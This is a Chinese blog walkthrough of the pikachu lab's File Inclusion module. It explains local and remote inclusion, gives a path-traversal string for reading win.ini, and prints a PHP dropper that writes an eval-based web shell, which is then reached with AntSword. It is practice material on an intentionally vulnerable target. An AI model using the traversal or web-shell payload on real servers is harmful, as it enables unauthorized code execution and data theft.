当前位置: 首页 > news >正文

pikachu靶场-File Inclusion

介绍:

File Inclusion(文件包含漏洞)概述

文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 比如 在PHP中,提供了:
include(),include_once()
require(),require_once()
这些文件包含函数,这些函数在代码设计中被经常使用到。

大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。 根据不同的配置环境,文件包含漏洞分为如下两种情况:
1.本地文件包含漏洞:仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
2.远程文件包含漏洞:能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。

1. 本地文件包含:

这里随便选一个参数,点击执行,在 url 这里发现 ?filename 这里是传入了一个本地文件。

我们就可以读取服务器上的本地文件。例如Windows上的 win.ini 文件,linux上的 /etc/passwd 文件等等。

这里发现不能用绝对路径,我们用相对路径成功读取系统文件。

C:/../../../../Windows\win.ini

2. 远程文件包含

同样的原理,这里也是在 ?filename= 后边接上文件名进行传参。

接上 http://www.baidu.com 发现直接变成了 百度的页面,,笑死。

我们开启一个http服务,目录下放个生成一句话木马的php脚本,再写上url试试。

<?php
$myfile = fopen("shell.php", "w");
$txt = '<?php @eval($_POST[kitha]);?>';
fwrite($myfile, $txt);
fclose($myfile);
?>

访问后页面并没有变化,但再对应已经生成的木马文件。

蚁剑成功连接。

相关文章:

  • flink反压
  • 【分布式事务 XA模式】MySQL XA模式详解
  • 003:高精地图数据采集
  • 使用 yarn 的时候,遇到 Error [ERR_REQUIRE_ESM]: require() of ES Module 怎么解决?
  • 快速排序C语言实现程序
  • 如何使用ArcGIS Pro生成等高线
  • 2024年软件测试岗位-面试
  • PyTorch概述(四)---DataLoader
  • 如何使用idea连接服务器上的mysql?
  • c# HttpCookie操作,建立cookie工具类
  • Python学习路线图
  • 【C++】类和对象之拷贝构造函数篇
  • docker install private registry 【docker 安装 registry 仅证书认证】
  • mybatis中foreach批量插入并返回主键
  • oppo手机如何录屏?解锁录屏新功能!
  • SQL 中如何实现多表关联查询?
  • 【达梦数据库】数据库的方言问题导致的启动失败
  • 【pytorch】pytorch模型可复现设置
  • 5 buuctf解题
  • python 提取PDF文字